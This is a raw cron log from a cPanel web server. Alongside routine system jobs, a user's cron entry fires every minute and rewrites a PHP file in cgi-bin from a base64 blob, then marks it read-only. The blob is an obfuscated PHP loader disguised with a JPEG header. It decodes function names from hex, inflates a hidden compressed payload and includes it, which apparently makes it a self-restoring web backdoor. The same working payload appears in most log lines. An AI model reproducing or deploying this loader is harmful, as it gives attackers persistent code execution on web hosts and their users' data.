Nov 14 23:52:01 server CROND[7985]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:53:01 server CROND[9180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:53:01 server CROND[9181]: (root) CMD (/usr/lib64/sa/sa2 -A)
Nov 14 23:54:01 server CROND[10120]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:55:01 server CROND[10549]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:55:01 server CROND[10551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:55:01 server CROND[10550]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:56:01 server CROND[11055]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:57:01 server CROND[11988]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 23:57:01 server CROND[11990]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:58:01 server CROND[12878]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:59:01 server CROND[13881]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:00:01 server CROND[14817]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 00:00:01 server CROND[14820]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 00:00:01 server CROND[14819]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 00:00:01 server CROND[14827]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:00:01 server CROND[14828]: (root) CMD (/usr/sbin/csf --lfd restart &gt; /dev/null 2&gt;&amp;1)
Nov 15 00:00:01 server CROND[14831]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:01:01 server CROND[15985]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 00:01:01 server CROND[15986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:01:01 server run-parts(/etc/cron.hourly)[15985]: starting 0anacron
Nov 15 00:01:01 server anacron[15999]: Anacron started on 2025-11-15
Nov 15 00:01:01 server run-parts(/etc/cron.hourly)[16001]: finished 0anacron
Nov 15 00:01:01 server anacron[15999]: Normal exit (0 jobs run)
Nov 15 00:02:01 server CROND[16903]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:03:01 server CROND[17911]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:04:01 server CROND[18985]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 00:05:01 server CROND[19917]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 00:05:01 server CROND[19918]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
